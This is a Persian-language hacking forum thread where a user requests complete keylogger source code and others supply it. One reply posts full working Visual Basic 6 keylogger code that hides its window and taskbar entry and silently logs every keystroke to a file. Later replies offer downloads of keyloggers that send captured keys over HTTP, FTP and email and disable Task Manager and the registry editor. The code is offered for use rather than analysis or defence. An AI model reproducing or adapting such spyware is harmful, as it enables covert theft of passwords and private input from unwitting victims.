• 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
درخواست سورس کد کی‌ لاگر
#1
درود Angel

دوستان چنتا سورس کی‌ لاگر می‌خوام، کامل باشه .:heart:

لطفا از این سایت نباشه سپاسگزار ~~>www.opensc.wsBig Grin
سپاسگزار.Blush
  Reply
#2
در این تایپک انواع سورس کد های کیلاگر به زبان ویژوال بیسیک 6 ارائه میدهم اواین سورس :

Code:
Vi posto un keylogger fatto da me che memorizza nel file C:\logger.txt tutti i tasti premuti sulla tastiera...
questo è il codice in VB:


Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Open "C:\logger.txt" For Append As 1
If GetAsyncKeyState(vbKeyShift) Then
If GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey1) Then
Print #1, "!"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey2) Then
Print #1, """"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey3) Then
Print #1, "£"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey4) Then
Print #1, "$"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey5) Then
Print #1, "%"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey6) Then
Print #1, "&"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey7) Then
Print #1, "/"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey8) Then
Print #1, "("
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey9) Then
Print #1, ")"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey0) Then
Print #1, "="
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyA) Then
Print #1, "A"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyB) Then
Print #1, "B"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyC) Then
Print #1, "C"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyD) Then
Print #1, "D"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyE) Then
Print #1, "E"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyF) Then
Print #1, "F"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyG) Then
Print #1, "G"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyH) Then
Print #1, "H"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyI) Then
Print #1, "I"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyJ) Then
Print #1, "J"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyK) Then
Print #1, "K"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyL) Then
Print #1, "L"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyM) Then
Print #1, "M"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyN) Then
Print #1, "N"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyO) Then
Print #1, "O"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyP) Then
Print #1, "P"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyQ) Then
Print #1, "Q"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyR) Then
Print #1, "R"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyS) Then
Print #1, "S"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyT) Then
Print #1, "T"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyU) Then
Print #1, "U"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyV) Then
Print #1, "V"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyW) Then
Print #1, "W"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyX) Then
Print #1, "X"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyY) Then
Print #1, "Y"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyZ) Then
Print #1, "Z"
End If
Else
If GetAsyncKeyState(vbKeyA) Then
Print #1, "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
Print #1, "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
Print #1, "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
Print #1, "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
Print #1, "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
Print #1, "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
Print #1, "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
Print #1, "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
Print #1, "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
Print #1, "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
Print #1, "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
Print #1, "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
Print #1, "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
Print #1, "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
Print #1, "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
Print #1, "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
Print #1, "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
Print #1, "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
Print #1, "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
Print #1, "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
Print #1, "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
Print #1, "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
Print #1, "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
Print #1, "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
Print #1, "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
Print #1, "z"
ElseIf GetAsyncKeyState(vbKey0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKey1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKey2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKey3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKey4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKey5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKey6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKey7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKey8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKey9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeyNumpad0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKeyNumpad1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKeyNumpad2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKeyNumpad3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKeyNumpad4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKeyNumpad5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKeyNumpad6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKeyNumpad7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKeyNumpad8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKeyNumpad9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeySpace) Then
Print #1, "spazio"
End If
End If
Close 1
End Sub


Questo invece è il codice del modulo:

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2


è necessario un timer nominato: "Timer1" con il campo "intervallo" settato a 100
  Reply
#3
سورس بعدی یک کیلاگر با وی بی 6 هست این کیلاگر قابلیت فرستادن اطلاعات از طریق http دارد توی سورس کد کیلاگر نگاه کنید متوجه میشید :
دانلود :

.rar   http-keylogger(www.parsicoders.com).rar (Size: 5.67 KB / Downloads: 148)
  Reply
#4
کیلاگر بعدی یکی از کاملترین کیلاگرها هست.
قابلیت ذخیره کلید ها
از کار انداختن reg و Task Manager
این کیلاگر هم ایدیتور داره هم سرور و کامله
از طریف ftp هم میفرسته
ایمیل هم میکنه
و ...

دانلود :
[attachment=84]
  Reply
#5
(12-29-2011، 12:13 PM)Secret Wrote: کیلاگر بعدی یکی از کاملترین کیلاگرها هست.
قابلیت ذخیره کلید ها
از کار انداختن reg و Task Manager
این کیلاگر هم ایدیتور داره هم سرور و کامله
از طریف ftp هم میفرسته
ایمیل هم میکنه
و ...

دانلود :

خیلی جالب بود و کامل!فقط اشپزی بلد نبودSmile
  Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  سورس کد یک کیلاگر ساده ولی قوی (سی ) Amin_Mansouri 6 14,251 06-17-2014، 04:52 PM
Last Post: محمدعلی
  مجموعه سورس کدهای مخرب (دلفی ) Amin_Mansouri 1 6,885 11-09-2013، 09:49 PM
Last Post: dosibb
  مجموعه سورس کدهای مخرب (سی پلاس پلاس) Amin_Mansouri 0 5,957 01-29-2013، 02:49 PM
Last Post: Amin_Mansouri
  سورس کد اف تی پی کیلاگر Amin_Mansouri 0 4,130 09-17-2012، 07:12 PM
Last Post: Amin_Mansouri
  سورس کد حمله SYN Flood (دلفی) Amin_Mansouri 0 3,837 09-09-2012، 01:25 PM
Last Post: Amin_Mansouri
  سورس کد ddos به زبان دلفی Amin_Mansouri 0 4,519 09-09-2012، 01:17 PM
Last Post: Amin_Mansouri
  سورس کد کیلاگر (سی شارپ) Amin_Mansouri 3 12,438 05-27-2012، 10:44 PM
Last Post: Ghoghnus
  سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) Amin_Mansouri 0 4,247 01-10-2012، 11:45 PM
Last Post: Amin_Mansouri
  سورس غیر فعال کردن uac با سی شارپ Amin_Mansouri 0 4,373 10-18-2011، 08:52 PM
Last Post: Amin_Mansouri

Forum Jump:


Users browsing this thread: 1 Guest(s)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1017 - Can't find file: './pxramin_parsii/mybb_threadviews.MYI' (errno: 2 "No such file or directory")
Query:
INSERT INTO mybb_threadviews (tid) VALUES('1333')